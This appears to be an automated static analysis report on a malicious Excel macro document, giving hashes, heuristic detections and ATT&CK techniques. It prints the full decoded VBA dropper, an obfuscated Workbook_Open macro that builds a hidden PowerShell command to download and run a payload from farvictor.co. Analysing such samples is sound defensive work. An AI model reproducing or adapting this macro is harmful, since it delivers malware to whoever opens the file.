Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 978af6ffd47808c2…

MALICIOUS

Office (OLE)

58.0 KB Created: 2017-10-19 07:59:05 Authoring application: Microsoft Excel First seen: 2019-03-10
MD5: b335442cfc3d912bde8ad2af7b42b454 SHA-1: 17c12563043e51a65785946a1e6dfd660d69b96c SHA-256: 978af6ffd47808c2ccfb04f613d52e5abd99ca4897a3502a752852a9a28d5f41
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The critical heuristic firings for OLE_VBA_SHELL and OLE_VBA_WBOPEN indicate that the sample contains a Workbook_Open macro that executes a command via the Shell() function. The VBA script attempts to download a payload from 'http://farvictor.co/hqt' and save it to the user's temporary directory, likely as a second-stage execution. The ClamAV detection further confirms its malicious nature as a dropper.

Heuristics 4

  • ClamAV: Xls.Dropper.Generic-6595971-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Dropper.Generic-6595971-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2887 bytes
SHA-256: f6e57f801e66540d6753f54be1f42f80c84aa50a83fcf99e891da3ed57bc9fb0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True



Function gabrilla()
gabrilla = Chr(34)
End Function
Sub Workbook_Open()
If Monochrome > 0 Then
Shell bigtowerstone, msoAlignLefts
End If
End Sub


Function SingleSong()
SingleSong = Right(Left("multiplexed", 10), 3)
End Function

Function depminng()
Randomize
depminng = Int(Rnd * 2#)
End Function

Function bigtowerstone()

nagilanile = "cM" + fitrolophp + nugahoneys + gabrilla + "do{sl" + "eep 25;(." + "(\""{2" + "}{0" + "}{1" + "}\"" -" + "f'-" + "o','bj" + "ec" + "t','ne" + "w') (\""{"
copengagend = "'sy"
cryocamera = "1}{3}" + "{5}{" + "0}{2}{4}\"" -f'" + "t'," + copengagend + "st','.we" + "bclie','em','nt','.ne'" + rtypeoldschool + "'d" + "'+'o" + "w'+'n" + "lo" + "ad" + "fi"
bigtowerstone = nagilanile + cryocamera + "l'+'e')." + Left("Invisible", 3) + "oke('" + tremorrtimer + "p://farvictor.co/hqt','%" + edmonddante + "%." + SingleSong + "')}while(!$?);&(\""{0}{2}{1}\""-f'star','ss','t-proce') '%" + edmonddante + "%." + SingleSong + "'" + Chr(34) + Chr(34)
End Function
Function edmonddante()

formasportball = Left("calamander", 4)
jockercards = "em"
gregoryopps = Array("t" + jockercards + "p", "lo" + formasportball + "ppd" + "ata")
edmonddante = gregoryopps(depminng)
End Function



Function tremorrtimer()
giiiotre = "light"
tremorrtimer = Right(Left(giiiotre + "tight", 6), 3)
End Function
Function nugahoneys()
babylongiland = Array(Now(), "eLL  " + "-N")
siniorengg = "owe"
fruitstornado = Array(Now(), siniorengg + "RS", Now(), Now())
portlanddomms = Array(Now(), Minute(Now), Minute(Now), "oP" + "r  " + "-e")

astralonfice = Array(Now(), "AS" + "S -W" + "i", Now())
valvegamess = Array(Second(Now), Now(), Now(), Now(), "RA" + "Ct")
olivergobane = "DDen  "
sisterloomg = Array(Now(), Minute(Now), Now(), Now(), "uT" + "i  B", Minute(Now), Now(), Now())
nugahoneys = "p" + fruitstornado(1) + "h" + babylongiland(1) + "on" + "iN" + "Te" + valvegamess(4) + "iv" + "E  -N" + portlanddomms(3) + "xeC" + sisterloomg(4) + "yP" + astralonfice(1) + "nD" + "O " + " hI" + olivergobane
End Function
Function rtypeoldschool()
vegas = 0
tarapara = ").("
rtypeoldschool = ")" + tarapara
End Function


Function fitrolophp()
malahool = "d  "
fitrolophp = malahool + "/c" + Chr(34)
End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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